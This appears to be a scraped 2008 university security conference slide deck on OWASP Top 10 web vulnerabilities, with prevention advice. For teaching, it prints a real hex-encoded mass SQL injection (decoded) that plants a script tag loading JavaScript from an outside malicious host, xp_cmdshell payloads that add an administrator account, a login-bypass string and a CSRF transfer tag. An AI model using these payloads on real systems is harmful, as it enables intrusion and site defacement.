<ul><li>In the Hackers’ Crosshairs – Web Security Vulnerabilities </li></ul><ul><li>10/21/2008 </li></ul><ul><li>Marina Ar...
Puzzle – What is this? <ul><li>&quot;GET /programs/biosafety/bioSafety_handBook/Chapter%206-Bloodborne%20Pathogens%20Human...
Answer <ul><li>&quot;GET /programs/biosafety/bioSafety_handBook/Chapter%206-Bloodborne%20Pathogens%20Human%20Tissue?;DECLA...
Do you know? <ul><li>75% of attacks today happen at the Application Layer (Gartner).  </li></ul><ul><li>Many “easy hacking...
High Schools hacked by High Schoolers  http://www.privacyrights.org <ul><li>May 2007 17,400 identities breached </li></ul>...
 
Agenda <ul><li>Open Web Application Security Project (OWASP) Top 10 list </li></ul><ul><li>Additional Vulnerability Topics...
OWASP’s Top 10 List <ul><li>Cross Site Scripting (XSS) </li></ul><ul><li>Injection Flaws  </li></ul><ul><ul><ul><li>SQL In...
OWASP’s Top 10 Covered Today <ul><li>Cross Site Scripting (XSS) </li></ul><ul><li>Cross Site Request Forgery (CSRF) </li><...
Websites XSS’d <ul><li>A hacker was able to insert JavaScript code into the Obama community blog section </li></ul><ul><ul...
Cross-Site Scripting (XSS) Attacks <ul><li>From  http://www.owasp.org/index.php/Top_10_2007 </li></ul><ul><li>“ XSS flaws ...
Cross-Site Scripting (XSS) Attacks
WebGoat  XSS Vulnerability Demo
How to test for XSS Vulnerability?
How to test for XSS Vulnerability?
How to test for XSS Vulnerability?
The Impact of XSS <ul><li>Data residing on the web page can be sent anywhere in the world </li></ul><ul><ul><li>Including ...
Preventing XSS <ul><li>Escape all user input when it is displayed </li></ul><ul><ul><li>Escaping converts the output to ha...
OWASP’s Top 10 Covered Today <ul><li>Cross Site Scripting (XSS) </li></ul><ul><li>Cross Site Request Forgery (CSRF) </li><...
Cross Site Request Forgery (CSRF) <ul><li>From  http://www.owasp.org/index.php/Top_10_2007  : </li></ul><ul><li>“ A CSRF a...
Cross Site Request Forgery (CSRF) <ul><li>Occurs when an authenticated user unknowingly initiates a request of a web appli...
CSRF Example <ul><li>A hacker posts to a message board containing an image tag </li></ul><ul><ul><li><img src= “http://you...
Solution <ul><li>Add a secondary authentication mechanism </li></ul><ul><ul><li>Such as an impossible to guess token </li>...
Post vs Get <ul><li>Requests come in two flavors: POST & GET </li></ul><ul><ul><li>GET: parameters are sent in the URL its...
OWASP’s Top 10 Covered Today <ul><li>Cross Site Scripting (XSS) </li></ul><ul><li>Cross Site Request Forgery (CSRF) </li><...
Chinese Olympian Gymnast Age Confusion <ul><li>He Kexin’s age is under a lot of scrutiny </li></ul><ul><li>Her passport sh...
Information Leakage and Improper Error Handling <ul><li>ANY information you give to a hacker CAN and WILL be used to hack ...
Application Error Messages ERROR [credit-card-db] (MySqlSystem.java:1331) - Invalid column name java.sql.SQLException: Inv...
Misconfigured, Default Settings, Unpatched Systems <ul><li>By default, you may already be leaking information! </li></ul><...
Forced Directory Browsing <ul><li>Try to force directory browsing by eliminating anything past the various “/” in the URLs...
Robots.txt <ul><li>robots.txt files are the first place hackers look </li></ul><ul><ul><li>Robots.txt is web accessible an...
Google Hacking <ul><li>Popularized by johnny.ihackstuff.com </li></ul><ul><li>Uses Google search engine and advanced query...
Google Hacking Demo
Web Services / SOAP Security Recommendations  <ul><li>Secure your Web Service Definition Language WSDL </li></ul><ul><ul><...
OWASP’s Top 10 Covered Today <ul><li>Cross Site Scripting (XSS) </li></ul><ul><li>Cross Site Request Forgery (CSRF) </li><...
UCLA Security Incident <ul><li>30,000 people affected directly; 800,000 notifications sent out 12/2006 </li></ul><ul><li>U...
Impact of SQL Injection - Dangerous <ul><li>At best: you can leak information </li></ul><ul><li>Depending on your configur...
SQL Injection Attacks “ SQL injection  is a security vulnerability that occurs in the database layer of an application. It...
SQL Injection Attacks <ul><li>Login Example Attack </li></ul><ul><ul><li>Text in blue is your SQL code ,  Text in orange i...
More Dangerous SQL Injection Attacks <ul><li>Hacker creates a Windows Account:  </li></ul><ul><ul><li>SELECT * FROM users ...
Preventing SQL injection  <ul><li>Use Prepared Statements (aka Parameterized Queries) </li></ul><ul><ul><li>“ select * fro...
Preventing SQL injection - Continued <ul><li>Use the principle of least privileges </li></ul><ul><ul><li>If the query is r...
Injection Impacts  More Than SQL <ul><li>“ Injection Flaw” is a blanket term </li></ul><ul><li>SQL Injection is most preva...
OWASP’s Top 10 Covered Today <ul><li>Cross Site Scripting (XSS) </li></ul><ul><li>Cross Site Request Forgery (CSRF) </li><...
Malicious File Execution <ul><li>“ Code vulnerable to remote file inclusion (RFI) allows attackers to include hostile code...
Impact <ul><li>Code runs as the current user for the web server </li></ul><ul><ul><li>Can modify, delete anything the user...
Solution <ul><li>Properly validate data! </li></ul><ul><ul><li>Cookie data, URL parameters, all HTML Form data (even hidde...
Solution cont. <ul><li>Architect and design application to avoid it.  </li></ul><ul><ul><li>Never allow the design to use ...
OWASP’s Top 10 Covered Today <ul><li>Cross Site Scripting (XSS) </li></ul><ul><li>Cross Site Request Forgery (CSRF) </li><...
Insecure Communication <ul><li>Sensitive information being sent over an unencrypted channel can be snooped very easily  </...
.htaccess Authentication Request
.htaccess file Example
.htaccess file Example Continued
OWASP’s Top 10 Covered Today <ul><li>Cross Site Scripting (XSS) </li></ul><ul><li>Cross Site Request Forgery (CSRF) </li><...
Agenda <ul><li>OWASP’s Top 10 list </li></ul><ul><li>Additional Vulnerability Topics </li></ul><ul><li>Integrating Securit...
Additional Topics <ul><li>AJAX Security </li></ul><ul><li>Caching Concerns </li></ul>
AJAX Security <ul><li>Cutting edge in terms of web interfaces and security practices </li></ul><ul><li>Susceptible to “sho...
AJAX Request Lifecycle XmlHTTPRequest Response (text, JSON, XML, etc) There is nothing special about an XHR request other ...
Potential Issues With AJAX <ul><li>Responses are sent to the browser, JavaScript code updates the page </li></ul><ul><li>B...
Tips <ul><li>Do NOT overuse AJAX </li></ul><ul><li>Do processing on the server side if possible </li></ul><ul><ul><li>Send...
Additional Topics <ul><li>AJAX Security </li></ul><ul><li>Caching Concerns </li></ul>
Browser Page Cache <ul><li>Pages with sensitive data should not be cached: page content is easily accessed using  browser’...
Browser History <ul><li>Sensitive data should not be included as a parameter in the URL of any Web pages </li></ul><ul><ul...
Browser Page Cache & History
Browser Cookies <ul><li>Sensitive data should not be stored in cookies </li></ul><ul><ul><li>Cookies are stored on client ...
Agenda <ul><li>OWASP’s Top 10 list </li></ul><ul><li>Additional Vulnerability Topics </li></ul><ul><li>Integrating Securit...
NIST: Security Considerations in the Information System Development Life Cycle http://csrc.nist.gov/publications/nistpubs/...
Integrating Security into SDLC - Requirements <ul><li>Identify security requirements at requirements gathering phase in pr...
Integrating Security into SDLC - Implementation / Acquisition <ul><li>Make security “routine” </li></ul><ul><li>Schedule w...
Integrating Security into SDLC -  Deployment <ul><ul><li>Create secured development, test & production environments </li><...
Integrating Security into SDLC -  Operations/Maintenance <ul><li>Catalogue and inventory use of personal data </li></ul><u...
Integrating Security into SDLC -Decommissioning <ul><li>Data </li></ul><ul><ul><li>Retention/preservation compliance? </li...
Agenda <ul><li>OWASP’s Top 10 list </li></ul><ul><li>Additional Vulnerability Topics </li></ul><ul><li>Integrating Securit...
Good Tool Listings <ul><li>OWASP </li></ul><ul><ul><li>http://www.owasp.org/index.php/Phoenix/Tools </li></ul></ul><ul><li...
Development / Debug / QA Tools <ul><li>Unit Testing –  JUnit  * for Java Whitebox Testing  (Eclipse*) </li></ul><ul><li>Ni...
Remember our Puzzle? <ul><li>&quot;GET /programs/biosafety/bioSafety_handBook/Chapter%206-Bloodborne%20Pathogens%20Human%2...
Web Application Vulnerability Scanning Tools – Open Source / Free <ul><li>Nikto  -  an open source (GPL) web server scanne...
Web Application Vulnerability Scanning  Tools – Commercial <ul><li>Acunetix  Web Vulnerability Scanner  -  checks web appl...
Web Application Firewalls <ul><li>XSS, Injection Protection and beyond… </li></ul><ul><ul><li>Apache Web Application Firew...
Agenda <ul><li>OWASP’s Top 10 list </li></ul><ul><li>Additional Vulnerability Topics </li></ul><ul><li>Integrating Securit...
Themes of Today’s Talk <ul><li>NEVER trust user input!  Always validate! </li></ul><ul><ul><li>This includes headers! </li...
Resources / Q&A <ul><li>Open Web Application Security Project (OWASP) -  http:// www.owasp.org/index.php/Category:OWASP_Pr...
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EduTech Security Conference K20 - University of California ...

  1. 1. <ul><li>In the Hackers’ Crosshairs – Web Security Vulnerabilities </li></ul><ul><li>10/21/2008 </li></ul><ul><li>Marina Arseniev </li></ul><ul><li>Director – Enterprise Architecture, Security, and Data Management Services </li></ul>
  2. 2. Puzzle – What is this? <ul><li>&quot;GET /programs/biosafety/bioSafety_handBook/Chapter%206-Bloodborne%20Pathogens%20Human%20Tissue?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D2727207768!6!5726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S); </li></ul>
  3. 3. Answer <ul><li>&quot;GET /programs/biosafety/bioSafety_handBook/Chapter%206-Bloodborne%20Pathogens%20Human%20Tissue?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0xDECLARE @T varchar(255)'@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T'@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''&quot;></title><script src=&quot;http://sdo.1000mg.cn/csrss/w.js&quot;></script><!--'' wh??re '+@C+' not like ''%&quot;></title><script src=&quot;http://sdo.1000mg.cn/csrss/w.js&quot;></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T'@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor </li></ul><ul><li>http://www.dolcevie.com/js/converter.html </li></ul>
  4. 4. Do you know? <ul><li>75% of attacks today happen at the Application Layer (Gartner). </li></ul><ul><li>Many “easy hacking recipes” published on web. </li></ul><ul><li>Security holes in the web application layer can make a perfectly patched and firewalled server completely vulnerable. </li></ul><ul><li>” </li></ul>
  5. 5. High Schools hacked by High Schoolers http://www.privacyrights.org <ul><li>May 2007 17,400 identities breached </li></ul><ul><ul><li>Two high school seniors hacked into the district's computer network potentially compromising the personal information including Social Security numbers of students and employees. </li></ul></ul><ul><li>March 2008 35,000 identities breached </li></ul><ul><ul><li>A Technical High School senior hacked into a district computer and collected Social Security numbers and employee addresses </li></ul></ul><ul><li>May 2008 50,000 identities breached </li></ul><ul><ul><li>A 15-year-old student gained access to files on a computer at Downingtown West High School. Private information - names, addresses and Social Security numbers were accessed </li></ul></ul>
  6. 7. Agenda <ul><li>Open Web Application Security Project (OWASP) Top 10 list </li></ul><ul><li>Additional Vulnerability Topics </li></ul><ul><li>Integrating Security into the Software Development Life Cycle (SDLC) </li></ul><ul><li>Tools </li></ul><ul><li>Please use printed Glossary as needed ! </li></ul>
  7. 8. OWASP’s Top 10 List <ul><li>Cross Site Scripting (XSS) </li></ul><ul><li>Injection Flaws </li></ul><ul><ul><ul><li>SQL Injection, XPATH Injection, etc </li></ul></ul></ul><ul><li>Malicious File Execution (remote file inclusion) </li></ul><ul><li>Insecure Direct Object Reference </li></ul><ul><li>Cross Site Request Forgery (CSRF) </li></ul><ul><li>Information Leakage and Improper Error Handling </li></ul><ul><li>Broken Authentication and Session Management </li></ul><ul><li>Insecure Cryptographic Storage </li></ul><ul><li>Insecure Communications </li></ul><ul><li>Failure to Restrict URL Access </li></ul><ul><li>From OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities </li></ul>
  8. 9. OWASP’s Top 10 Covered Today <ul><li>Cross Site Scripting (XSS) </li></ul><ul><li>Cross Site Request Forgery (CSRF) </li></ul><ul><li>Information leakage and Improper Error Handling </li></ul><ul><li>Injection Flaws </li></ul><ul><ul><ul><li>SQL Injection, XPATH Injection, etc </li></ul></ul></ul><ul><li>Malicious File Execution (remote file inclusion) </li></ul><ul><li>Insecure Communications </li></ul><ul><li>From OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities </li></ul>
  9. 10. Websites XSS’d <ul><li>A hacker was able to insert JavaScript code into the Obama community blog section </li></ul><ul><ul><li>The JavaScript would redirect the users to the Hillary Clinton website </li></ul></ul><ul><li>Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had XSS bugs. </li></ul>
  10. 11. Cross-Site Scripting (XSS) Attacks <ul><li>From http://www.owasp.org/index.php/Top_10_2007 </li></ul><ul><li>“ XSS flaws occur whenever an application takes user supplied data and sends it to a web browser without first validating or encoding that content. XSS allows attackers to execute script in the victim's browser which can hijack user sessions, deface web sites, possibly introduce worms, etc.” </li></ul><ul><li>JavaScript, VBScript, ActiveX, HTML, or Flash are “injected” into a vulnerable application </li></ul><ul><ul><li>Originates from old phishing attacks but less obvious and more dangerous to the user/victim </li></ul></ul><ul><ul><li>More widespread now because of move to more rich Internet applications using dynamic content and JavaScript and the latest AJAX trend </li></ul></ul>
  11. 12. Cross-Site Scripting (XSS) Attacks
  12. 13. WebGoat XSS Vulnerability Demo
  13. 14. How to test for XSS Vulnerability?
  14. 15. How to test for XSS Vulnerability?
  15. 16. How to test for XSS Vulnerability?
  16. 17. The Impact of XSS <ul><li>Data residing on the web page can be sent anywhere in the world </li></ul><ul><ul><li>Including cookies! </li></ul></ul><ul><li>Facilitates many other types of attacks </li></ul><ul><ul><li>Cross-Site Request Forgery (CSRF), Session Attacks (more later) </li></ul></ul><ul><li>Your site’s behavior can be hijacked </li></ul>
  17. 18. Preventing XSS <ul><li>Escape all user input when it is displayed </li></ul><ul><ul><li>Escaping converts the output to harmless html </li></ul></ul><ul><ul><ul><li><script> becomes &lt;script&gt; </li></ul></ul></ul><ul><ul><ul><li>but still displayed as <script> </li></ul></ul></ul><ul><li>Ensure your filter uses a white list approach </li></ul><ul><ul><li>Filters based on blacklisting have historically been flawed </li></ul></ul><ul><ul><li>Example of white list: Accept ONLY A, B, C or 1,2,3 </li></ul></ul><ul><ul><li>New encoding schemes can easily bypass filters that use a blacklist approach </li></ul></ul><ul><li>Great XSS resource: http://ha.ckers.org/xss.html </li></ul>
  18. 19. OWASP’s Top 10 Covered Today <ul><li>Cross Site Scripting (XSS) </li></ul><ul><li>Cross Site Request Forgery (CSRF) </li></ul><ul><li>Information leakage and Improper Error Handling </li></ul><ul><li>Injection Flaws </li></ul><ul><ul><ul><li>SQL Injection, XPATH Injection, etc </li></ul></ul></ul><ul><li>Malicious File Execution (remote file inclusion) </li></ul><ul><li>Insecure Communications </li></ul><ul><li>From OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities </li></ul>
  19. 20. Cross Site Request Forgery (CSRF) <ul><li>From http://www.owasp.org/index.php/Top_10_2007 : </li></ul><ul><li>“ A CSRF attack forces a logged-on victim's browser to send a pre-authenticated request to a vulnerable web application, which then forces the victim's browser to perform a hostile action to the benefit of the attacker. CSRF can be as powerful as the web application that it attacks. “ </li></ul>
  20. 21. Cross Site Request Forgery (CSRF) <ul><li>Occurs when an authenticated user unknowingly initiates a request of a web application </li></ul><ul><li>The request is handled as if it were intentional </li></ul><ul><ul><li>Usually happens without the user being aware! </li></ul></ul><ul><li>CSRF attacks are difficult to track </li></ul><ul><ul><li>Commands are executed in the context of the victim </li></ul></ul><ul><ul><li>The request comes from the user’s IP address so it is difficult to hunt down the hacker </li></ul></ul><ul><li>The hacker is essentially given all of the user’s privileges </li></ul><ul><li>XSS facilitates CSRF via “Link Injection” </li></ul>
  21. 22. CSRF Example <ul><li>A hacker posts to a message board containing an image tag </li></ul><ul><ul><li><img src= “http://yourbank.com/transfer? to_account=my_account_number&amount=all_of_your_money> </li></ul></ul><ul><li>An unsuspecting user logs into yourbank.com and authenticates </li></ul><ul><li>The user then visits said message board </li></ul><ul><li>A request is issued from the victim’s browser to the bank’s website </li></ul><ul><li>The bank’s website transfers the user’s money to the hacker’s account </li></ul>
  22. 23. Solution <ul><li>Add a secondary authentication mechanism </li></ul><ul><ul><li>Such as an impossible to guess token </li></ul></ul><ul><li>Eliminate XSS vulnerability </li></ul><ul><li>Require a confirmation page, sent from the server side, before executing potentially dangerous actions </li></ul><ul><li>Use POST as your form action and only accept POST requests on the server for sensitive data ! </li></ul><ul><ul><li>Incoming CSRF requests will fail since the parameter is in the URL and not the post body </li></ul></ul>
  23. 24. Post vs Get <ul><li>Requests come in two flavors: POST & GET </li></ul><ul><ul><li>GET: parameters are sent in the URL itself. </li></ul></ul><ul><ul><li>POST: parameters are sent in the request body </li></ul></ul><ul><li>DO NOT use GET for anything that changes the server state or contains sensitive information </li></ul><ul><ul><li>GET requests are logged in the web server access logs </li></ul></ul><ul><ul><li>Also shows up in the browser history </li></ul></ul><ul><ul><li>For example GET /login?username=me&password=suparsekretpasswerd </li></ul></ul><ul><li>DO use POST for every action that changes the server state and reject all non-POST methods </li></ul><ul><ul><li><Script>, Image, Link and some other HTML tags ALWAYS use GET. By accepting POST only on Server, vulnerability is mitigated. </li></ul></ul><ul><ul><li>Prevents unintentional actions </li></ul></ul><ul><ul><li>Most search engines won’t crawl POST forms </li></ul></ul><ul><ul><li>Helps prevent duplicate submissions </li></ul></ul>
  24. 25. OWASP’s Top 10 Covered Today <ul><li>Cross Site Scripting (XSS) </li></ul><ul><li>Cross Site Request Forgery (CSRF) </li></ul><ul><li>Information leakage and Improper Error Handling </li></ul><ul><li>Injection Flaws </li></ul><ul><ul><ul><li>SQL Injection, XPATH Injection, etc </li></ul></ul></ul><ul><li>Malicious File Execution (remote file inclusion) </li></ul><ul><li>Insecure Communications </li></ul><ul><li>From OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities </li></ul>
  25. 26. Chinese Olympian Gymnast Age Confusion <ul><li>He Kexin’s age is under a lot of scrutiny </li></ul><ul><li>Her passport shows her birth date as 1/1/1992 </li></ul><ul><li>Using the cache from a Chinese search engine Baidu, the Stryde Hax group found multiple Excel documents listing He’s birth date as 1/1/1994 </li></ul><ul><li>Assume all information can become public </li></ul>
  26. 27. Information Leakage and Improper Error Handling <ul><li>ANY information you give to a hacker CAN and WILL be used to hack your site </li></ul><ul><li>Remove passwords or other revealing information in source code </li></ul><ul><li>Application / Database Error Messages </li></ul><ul><li>Misconfigured servers </li></ul><ul><li>This information may be indexed by search engines! </li></ul>
  27. 28. Application Error Messages ERROR [credit-card-db] (MySqlSystem.java:1331) - Invalid column name java.sql.SQLException: Invalid column name ‘social_security_numbre’: select username, password, ssn from users where id = ? sun.jdbc.rowset.CachedRowSet.getColIdxByName(CachedRowSet.java:1383) at com.mysql.Driver.MySQLDriver.a(MySQLDriver.java:2531) at sun.jdbc.rowset.CachedRowSet.getString(CachedRowSet.java:2167) at com.ppe.db.MySqlSystem.getReciPaying(MySqlSystem.java:1318) at control.action.FindUserAction.perform(FindKeyUserAction.java:81) at org.apache.struts.action.ActionServlet.processActionPerform(ActionServlet) at org.apache.struts.action.ActionServlet.process(ActionServlet.java:1586) at org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:492) at javax.servlet.http.HttpServlet.service(HttpServlet.java:740) at javax.servlet.http.HttpServlet.service(HttpServlet.java:853) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(Appl icationFilterChain.java:247)
  28. 29. Misconfigured, Default Settings, Unpatched Systems <ul><li>By default, you may already be leaking information! </li></ul><ul><li>Includes all “infrastructure” applications </li></ul><ul><ul><li>Web Server (Apache) </li></ul></ul><ul><ul><ul><li>Access logs are public by default </li></ul></ul></ul><ul><ul><ul><li>Directory listing is enabled by default </li></ul></ul></ul><ul><ul><li>Application Server (Tomcat, PHP, Coldfusion, etc) </li></ul></ul><ul><ul><li>Database Server (MySQL, MS-SQL, etc) </li></ul></ul><ul><ul><ul><li>Public accounts enabled by default for MS SQL Server </li></ul></ul></ul><ul><ul><li>3 rd party applications (PHP message board, webmail, etc) </li></ul></ul><ul><li>Hackers look for easy access to your server </li></ul><ul><ul><li>Exploit a known vulnerability if infrastructure application doesn’t have latest patches </li></ul></ul><ul><ul><li>Gain access to server using default credentials </li></ul></ul><ul><ul><li>Use default installed “snoop” or example pages to learn more about your server </li></ul></ul>
  29. 30. Forced Directory Browsing <ul><li>Try to force directory browsing by eliminating anything past the various “/” in the URLs of your web application </li></ul><ul><ul><li>If directory browsing is allowed on your web server, files you don’t want public could be displayed or give the hacker information about your system </li></ul></ul>
  30. 31. Robots.txt <ul><li>robots.txt files are the first place hackers look </li></ul><ul><ul><li>Robots.txt is web accessible and contains URLs you don’t want indexed by a search engine. This might be the kind of data hackers want </li></ul></ul><ul><ul><li>Use access controls instead </li></ul></ul>
  31. 32. Google Hacking <ul><li>Popularized by johnny.ihackstuff.com </li></ul><ul><li>Uses Google search engine and advanced query abilities to find insecure data files and misconfigured/unpatched servers indexed on the Web </li></ul><ul><li>Wikto (Sensepost) or SiteDigger (Foundstone) - free tools used along with ihackstuff’s Google Hack Database to see if anything from your domain is indexed </li></ul>
  32. 33. Google Hacking Demo
  33. 34. Web Services / SOAP Security Recommendations <ul><li>Secure your Web Service Definition Language WSDL </li></ul><ul><ul><li>Your WSDL leaks the interface to your web services </li></ul></ul><ul><li>Use proper access controls methods </li></ul><ul><li>Defend against XDoS (XML Denial-of-service) </li></ul><ul><ul><li>DO NOT use Document Type Definition DTDs* – vulnerable to infinite recursion, use XML schemas instead </li></ul></ul><ul><ul><li>Throttle incoming messages </li></ul></ul><ul><li>From Security Concepts, Challenges, and Design Considerations for Web Services Integration </li></ul>
  34. 35. OWASP’s Top 10 Covered Today <ul><li>Cross Site Scripting (XSS) </li></ul><ul><li>Cross Site Request Forgery (CSRF) </li></ul><ul><li>Information leakage and Improper Error Handling </li></ul><ul><li>Injection Flaws </li></ul><ul><ul><ul><li>SQL Injection, XPATH Injection, etc </li></ul></ul></ul><ul><li>Malicious File Execution (remote file inclusion) </li></ul><ul><li>Insecure Communications </li></ul><ul><li>From OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities </li></ul>
  35. 36. UCLA Security Incident <ul><li>30,000 people affected directly; 800,000 notifications sent out 12/2006 </li></ul><ul><li>Unsupported/forgotten legacy web application was targeted with escalated database privileges </li></ul><ul><li>Web application vulnerability exposed data online using SQL injection </li></ul><ul><li>Hacked server was then used to gain access to more sensitive servers </li></ul>
  36. 37. Impact of SQL Injection - Dangerous <ul><li>At best: you can leak information </li></ul><ul><li>Depending on your configuration, a hacker can </li></ul><ul><ul><li>Delete, alter or create data </li></ul></ul><ul><ul><li>Grant access to the hacker silently </li></ul></ul><ul><ul><li>Escalate privileges and even take over the OS </li></ul></ul>
  37. 38. SQL Injection Attacks “ SQL injection is a security vulnerability that occurs in the database layer of an application. Its source is the incorrect escaping of dynamically-generated string literals embedded in SQL statements. “ (Wikipedia)
  38. 39. SQL Injection Attacks <ul><li>Login Example Attack </li></ul><ul><ul><li>Text in blue is your SQL code , Text in orange is the hacker input, black text is your application code </li></ul></ul><ul><ul><li>Login: Password: </li></ul></ul><ul><li>Dynamically Build SQL String performing authentication: </li></ul><ul><ul><li>“ SELECT * FROM users WHERE login = ‘ ” + userName + “ ’ and password= ‘ ” + password + “ ’ ” ; </li></ul></ul><ul><li>Hacker logs in as: ‘ or ‘’ = ‘’; -- </li></ul><ul><ul><li>SELECT * FROM users WHERE login = ‘ ’ or ‘’ = ‘’; -- ‘ and password=‘’ </li></ul></ul>
  39. 40. More Dangerous SQL Injection Attacks <ul><li>Hacker creates a Windows Account: </li></ul><ul><ul><li>SELECT * FROM users WHERE login = ‘ ’; exec master..xp_cmdshell 'net users username password /add';-- ’ and password= ’’ </li></ul></ul><ul><li>And then adds himself as an adminstrator: </li></ul><ul><ul><li>SELECT * FROM users WHERE login = ‘ '; exec master..xp_cmdshell 'net localgroup Administrators username /add';-- ’ and password= ‘’ </li></ul></ul><ul><li>SQL Injection examples are outlined in: </li></ul><ul><ul><li>http:// www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf </li></ul></ul><ul><ul><li>http://www.unixwiz.net/techtips/sql-injection.html </li></ul></ul>
  40. 41. Preventing SQL injection <ul><li>Use Prepared Statements (aka Parameterized Queries) </li></ul><ul><ul><li>“ select * from accounts where id = “ + id </li></ul></ul><ul><ul><li>vs </li></ul></ul><ul><ul><li>“ select * from accounts where id =?” </li></ul></ul><ul><li>Validate input </li></ul><ul><ul><li>Strong typing </li></ul></ul><ul><ul><ul><li>If the id parameter is a number, try parsing it into an integer </li></ul></ul></ul><ul><ul><li>Business logic validation </li></ul></ul><ul><ul><ul><li>If you are expecting a telephone number, test it with a Regular Expressions </li></ul></ul></ul>
  41. 42. Preventing SQL injection - Continued <ul><li>Use the principle of least privileges </li></ul><ul><ul><li>If the query is reading the database, do not run the query as a user with update permissions (dbo, drop, etc) </li></ul></ul><ul><ul><li>Quiz: Is running a Web Application as the Database System Admin “sa” account a good practice? </li></ul></ul><ul><li>ESCAPE questionable characters (ticks, --, semi-colon, brackets, etc.) </li></ul>
  42. 43. Injection Impacts More Than SQL <ul><li>“ Injection Flaw” is a blanket term </li></ul><ul><li>SQL Injection is most prevalent </li></ul><ul><li>Other forms: </li></ul><ul><ul><li>XPath Injection </li></ul></ul><ul><ul><li>Command Injection </li></ul></ul><ul><ul><li>LDAP (Lightweight Directory Access Protocol) Injection </li></ul></ul><ul><ul><li>DOM (Document Object Model) Injection </li></ul></ul><ul><ul><li>JSON (Javascript Object Notation) Injection </li></ul></ul><ul><ul><li>Log Spoofing </li></ul></ul><ul><ul><li>On and on and on… </li></ul></ul>
  43. 44. OWASP’s Top 10 Covered Today <ul><li>Cross Site Scripting (XSS) </li></ul><ul><li>Cross Site Request Forgery (CSRF) </li></ul><ul><li>Information leakage and Improper Error Handling </li></ul><ul><li>Injection Flaws </li></ul><ul><ul><ul><li>SQL Injection, XPATH Injection, etc </li></ul></ul></ul><ul><li>Malicious File Execution (remote file inclusion) </li></ul><ul><li>Insecure Communications </li></ul><ul><li>From OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities </li></ul>
  44. 45. Malicious File Execution <ul><li>“ Code vulnerable to remote file inclusion (RFI) allows attackers to include hostile code and data, resulting in devastating attacks, such as total server compromise. Malicious file execution attacks affect PHP, XML and any framework which accepts filenames or files from users.” </li></ul><ul><li>Happens when code is executed on the server from a non-trusted source </li></ul><ul><ul><li>All web applications are vulnerable to malicious file execution if they accept filenames or files from the user. </li></ul></ul><ul><li>Classic example: PHP is particularly vulnerable </li></ul><ul><ul><li>Hacker visits a website that allows uploads </li></ul></ul><ul><ul><li>Hacker uploads a malicious code </li></ul></ul><ul><ul><li>Hacker learns directory structure and sends the path as a parameter </li></ul></ul><ul><ul><li>PHP code is executed on the server </li></ul></ul><ul><ul><ul><li>include $_REQUEST[‘filename’]; </li></ul></ul></ul>
  45. 46. Impact <ul><li>Code runs as the current user for the web server </li></ul><ul><ul><li>Can modify, delete anything the user has access to </li></ul></ul><ul><ul><li>Can install rootkits </li></ul></ul><ul><ul><li>Can take over the entire server if misconfigured (a.k.a. the web server runs as root) </li></ul></ul>
  46. 47. Solution <ul><li>Properly validate data! </li></ul><ul><ul><li>Cookie data, URL parameters, all HTML Form data (even hidden, select, radio and checkbox types) </li></ul></ul><ul><ul><li>Restricting length of HTML text boxes, options in select boxes, and JavaScript validation can all be easily sidestepped and are not secure </li></ul></ul><ul><ul><li>All input data MUST be validated server side for each request – client side validation is EASILY bypassed </li></ul></ul><ul><li>Do not expose internals to the user </li></ul><ul><ul><li>Such as IDs (if possible/necessary) </li></ul></ul><ul><li>Use an indirect reference map with hard to guess keys (hash) </li></ul><ul><ul><li>POST /BankAccount.jsp?acct_nmbr=d83OJdm3 </li></ul></ul><ul><ul><li>The server then uses the key to get the real value </li></ul></ul><ul><ul><ul><li>Key: d83OJdm3 value: 123 </li></ul></ul></ul>
  47. 48. Solution cont. <ul><li>Architect and design application to avoid it. </li></ul><ul><ul><li>Never allow the design to use user-supplied input in any filename for any server-based resource (such as images, XML and XSL transform documents, or script inclusions). </li></ul></ul><ul><ul><li>Never use a parameter to execute a Server Side Include directly </li></ul></ul><ul><ul><li>Architect your application to check authorization with every request </li></ul></ul><ul><li>Add firewall rules to prevent web servers making new connections to external web sites and internal systems. </li></ul><ul><li>Isolate web server in its own VLAN or private subnet. </li></ul>
